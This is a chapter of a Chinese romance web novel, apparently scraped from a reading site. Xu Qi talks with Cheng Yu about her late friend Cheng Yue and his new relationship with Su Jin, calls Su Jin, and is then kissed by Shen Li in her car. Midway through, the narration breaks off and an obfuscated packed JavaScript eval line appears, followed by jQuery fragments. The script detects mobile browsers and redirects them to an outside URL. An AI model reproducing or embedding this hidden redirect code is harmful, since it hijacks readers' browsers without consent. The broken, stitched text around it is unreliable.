包厢里的烟味有些呛人，灯光昏黄，程宇坐在角落里，烟灰缸里已经摁灭了几根烟。
许栖推门进来，他抬眼看了一下她，没什么表情，神色淡淡的：“好久不见。”
许栖走进来，随手关上门，目光扫过桌上的烟灰，最后落在他指尖的香烟上，声音不轻不重：“好久不见。”
她顿了顿，问：“苏瑾呢？”
程宇把烟摁灭，随口道：“回去了。”
许栖微微皱眉：“你就让她一个人回？”
程宇靠在椅背上，语气淡漠：“成年人了，打了车，为什么不能一个人回？”
“她知道你留下来见我吗？”
程宇微微侧目，眼神沉着：“不知道。”
空气安静下来。
许栖走到程宇对面坐下，目光里含着审视：“你为什么要和苏瑾谈恋爱？”
程宇揉搓着手指，语气似笑非笑：“喜欢了就谈呗，哪有那么多理由？”
许栖没说话，只是静静看着他。
程宇语气里透着几分无奈：“我事先也不知道，她是你的朋友。”
“我没有反对的意思。”许栖说，“只是有些意外。你这么多年一直孤身一人，忽然就谈起恋爱了，而且，对方正巧就是苏瑾？”
程宇看着她，眼神沉了几分，半晌才低声笑了下：“我也想走出来，过上正常人的生活。”
他嗓音平静，却带着一丝嘲弄，“许栖，我比你痛一万倍。”
许栖神色不变，指尖微微收紧。
程宇抬手按了按眉心，被她盯得有些烦，忽然开口：“别只问我，你自己呢？”
许栖目光顿了顿：“什么意思？”
程宇盯着她，语气低沉：“你为什么还和陈驰纠缠？”
包厢里一瞬间安静下来。
许栖神色未变，语调平稳：“这是我自己的事。”
程宇皱眉，声音里带上了几分刻薄：“你还真打算和他结婚？他是陈正德的儿子，你这样对得起她？”
空气仿佛被拉紧，许栖没说话，指尖在桌沿轻轻摩挲。
程宇盯着她：“许栖，你到底在想什么？”
良久，许栖才开口，声音冷静：“首先，我没有打算和他结婚。其次，他是他，陈正德是陈正德。我希望你不要混为一谈。”
程宇嗤笑一声：“你还真能分得清？”
许栖没有回应，而是微微偏头，看向他：“倒是你，和苏瑾谈恋爱，真不是为了……接近陈驰？”
程宇闻言，似是意外，他微微眯起眼睛，仔细看着她，片刻后才缓缓道：“看来你是真的在乎他。”
他的语气里带着点意味深长：“只是许栖，我犯得着兜这么大一个圈子吗？我要接近陈驰，直接找他不好吗？苏瑾和他又能有什么关系？”
他顿了一下，声音更嘲弄了几分：“你甚至不如觉得，我和苏瑾在一起，是为了接近你。”
许栖对上他的目光，片刻后，轻声道：“看来是我想多了。”
程宇没说话，指尖碾了碾桌上的烟灰，似乎觉得这个话题没什么意思。
半晌，许栖才犹豫着问道：“你过得好吗？如果需要帮助……”
“不需要！”程宇激烈地打断她，又缓和下语气：“还是老样子呗，死气沉沉。”他说完，看了她一眼，似乎觉得这样的话太消极，又随意补了一句，“不过爱情给我添了点活力。”
许栖下意识点头：“好好对苏瑾，否则——”
程宇不耐烦：“否则怎么样，你要为她出头？”他微微侧头，定定看着她，嗓音沙哑：“你当初也是这么守护她的吗？”
许栖沉默。
气氛无端的压抑。
程宇轻嗤一声，似是自嘲，又似是无奈：“你是不是已经忘了她？”
许栖的目光微微一动，轻声道：“你觉得呢？程枂是我最好的朋友。”
程宇盯着她，眼底情绪复杂，许久才低声道：“那就好，我真怕，这世上只有我一个人还记得她。”
包厢里的灯光昏黄，映得桌面上一片模糊。烟味混着淡淡的酒气，积聚在空气里，令人有些喘不过气来。
许栖静静地坐着，没有说话。
程宇靠在椅背上，又点燃了一根烟。
烟雾在他的指尖升起又散开，他语气淡淡的，像是在随意感慨，又像是在掩饰某些情绪：“有时候我在想，如果她还在，会是什么样？”
许栖指尖微微一顿，眼睫轻颤，目光落在桌面，没有接话。
程宇嗤笑了一声，目光幽沉，像是在回忆：“大概还是老样子吧，叽叽喳喳地缠着你，让你陪她逛漫展，买一堆洛丽塔、JK制服、汉服襦裙。或者半夜突然给我打电话，哭着说完不成你的任务，要被你骂了，让我帮她撑腰。”
许栖握紧了手指，嗓音低下来：“我没骂过她。”
程宇侧头看她一眼，唇角勾着一抹淡淡的笑意：“她是这么说的。”
许栖没有再反驳，沉默着，目光微敛。
程枂喜欢撒娇，喜欢热闹，喜欢赖着身边的人不肯走。她们第一次见面，是在一个夏天的漫展上。程枂穿着繁复的公主裙，蹲在角落里和工作人员据理力争，说自己的道具剑绝对不是管制刀具。许栖当时只是作为游客路过，没忍住多看了两眼。
“你看什么？”程枂仰头看她，气呼呼的，眼睛亮晶晶的，“你是不是也觉得我像个神经病？”
许栖愣了一下，片刻后，说：“没有。”
后来，程枂带她入行。
她睁大眼睛，惊讶地对许栖道：“高材生也缺钱啊？”
那时候，她们一起做兼职模特，一起化妆换衣服，一起在后台手忙脚乱地调整假发。程枂性格开朗，笑声爽朗，总喜欢和别人分享零食，也爱缠着许栖去漫展闲逛。
她一边感慨：“我要是有钱，一定把所有限定周边都买了。”一边又眼巴巴地看着许栖：“许栖，你以后毕业找到好工作挣大钱了，一定要包养我。”
程枂一直觉得许栖，比她那位重本大学生的亲哥程宇还厉害，是顶尖学府的高材生，未来一定能混得风生水起。而她自己不过是个普通职校生，所以两人一起混圈时，她总习惯护着许栖，逢场面应酬时挡在前面，把那些不怀好意的目光拦下来。
有人找茬，她笑着把话圆回去；有人劝酒，她直接抢过杯子，理直气壮地说：“我家许栖是A大生，脑子比你们这些人值钱，喝多了影响学业，你们赔得起吗？”
她总是毫不犹豫地站在许栖身前，语气轻快又认真：“栖宝别怕，姐们罩着你！”
……可现在呢？
她不在了。
世界照常运转，时光冷漠地向前流逝，所有人都还在，只有程枂，永远留在了那个冬天。
许栖低下头，声音轻轻的：“她一直都在。”
程宇看着她，沉默了一瞬，没有再继续这个话题。他转了转手里的烟，语气不轻不重：“许栖，苏瑾挺好的。”
许栖抬眸，看向他。
程宇靠回椅背，目光晦暗不明：“她是你的朋友，我会好好对她。你就别担心了。”
许栖皱了皱眉，沉默几秒，最终还是收回目光，轻声道：“那就好。”
这一次，代驾是真的到了。许栖拿起包，起身告辞。
走到门口时，程宇忽然开口：“你真的能接受，和陈正德的儿子在一起吗？”
许栖脚步微顿，语气平静：“我希望你能分清。”
程宇盯着她，眼神深了几分，嗓音低哑：“我能分清。我是说，抛开你和陈驰的私人关系，你真的能接受和陈正德的儿子在一起吗？还是说，恰恰是因为是陈正德的儿子，有钱有地位，你才更加选择和他在一起？”
许栖眉心微蹙：“我不明白你想表达什么。”
程宇轻嗤了一声，似乎觉得没意思，指尖掸了掸烟灰，没再继续这个话题。
-
隔壁包厢的灯也熄了，陈驰已经离开。
松云亭外的风有些冷，夜色深沉，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119133|163594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
街道两旁的灯光映着斑驳的树影，投下一片暗淡的光晕。
许栖的车停在稍远处，代驾已经等在那里。她快步走过去，拉开车门坐进去，沉思了片刻，最终还是拨通了苏瑾的电话。
“喂，苏苏。”
电话那头传来苏瑾带着困意的声音：“嗯？”
“你睡了？”
“没，刚躺下。”苏瑾揉了揉眼睛，声音有些模糊，“你和程宇聊过了？”
许栖顿了顿：“你知道？”
苏瑾似乎翻了个身，语调带着点慵懒：“他刚才告诉我了。没想到，他就是程枂的哥哥。”
许栖指尖摩挲着手拎包的带子，语气温和却认真：“你是怎么想的？程宇……他背负着很多，很沉重的。”
电话那头安静了一瞬。
然后，苏瑾低低地笑了一声，语气轻飘飘的：“许律师，您这话问得，倒像是我妈。”
许栖被她的调侃怔了一下，随即轻笑：“我是认真问的。”
“我知道啊。”苏瑾的声音漫不经心，“但你别忘了，我又不是你，我不认识程枂，对程宇也就没有那么多的纠结。喜欢就是喜欢，能在一起就试试，不能就算了。”
许栖微微一顿：“是我想岔了。”
“好啦，栖栖，别替我操心了。”苏瑾懒懒地伸了个懒腰，语气忽然轻快起来，“与其操心我，不如关心一下你自己吧。沈栎和陈驰，你总得选一个吧？要是都不选，也可以试试新人啊。你都空窗期好久了，谈起来啊，恋爱可是女人最好的补品。”
许栖失笑，原本沉郁的心情被她的话缓缓化开，眼底也透出几分轻松的意味。
她轻轻扬眉，嗓音带着些许无奈：“你倒是说得轻巧。”
窗外的夜风依旧轻轻拂过，吹得人懒洋洋的。挂完电话，许栖靠在座椅上，目光落在前方，嘴角微微上扬，终于卸下了些许压在心头的沉闷。
夜色深沉，小区门口的路灯投下朦胧的暖黄色光晕。
代驾刚离开，许栖坐在副驾位置，伸手打开车门，准备换到主驾自己开车进小区。她刚准备抬脚，视线却捕捉到一道熟悉的身影。
主驾的车门被人拉开，沈栎径直坐了进来。
他单手搭上方向盘，动作一如既往地沉稳，甚至没有一个多余的眼神，好像这一切本该如此。
许栖被吓了一跳，她微微皱眉：“你怎么在这里?”
沈栎没有回答，目光落在她身上，幽深不见底，像是在等待她继续问下去，又像是根本懒得解释。
车厢里的空气静滞了几秒，许栖还没来得及反应，下一瞬，沈栎已经俯身逼近。
与陈驰不同，他没有预兆，也没有征询。
温热的气息倏然笼罩，许栖甚至还没来得及眨眼，男人的唇便精准地覆了下来。
不容拒绝，甚至不留她后退的余地。
沈栎的掌心顺势覆上她的手，像是在无声地钳制她的动作。他的吻并不凌乱，甚至称得上克制，但正是这种克制，才叫人更难抗衡。
他并没有急于深入，没有蛮横的攻城掠地，而是极尽克制地用唇瓣轻磨，带着不动声色的缠绵，引诱般的试探，温柔得近乎缱绻。却像是在诱哄，又像是在变相地逼问。
——为什么不回消息？
——为什么要把他推给其他人？
——究竟还喜不喜欢他？
男人的呼吸有些沉，带着淡淡的雪松与消毒水的气息，熟悉得让许栖指尖发颤。
唇齿交叠间，他微微偏头，拉近角度，指尖顺势滑至她的腰际，掌心覆上她的侧腰，带着极低的温度，却仿佛烫得她神经紧绷。
心跳失序，呼吸紊乱。
许栖的手缓缓收紧，指甲不自觉地扣住座椅边缘。她的大脑像是突然被断电了一瞬，所有理智的逻辑，全都被这个突然袭击的吻，搞得倏然崩塌。
不知过了多久，沈栎才缓缓松开她。
他额头轻轻抵着她的，气息微喘，嗓音低哑：“你喝酒了，许栖。”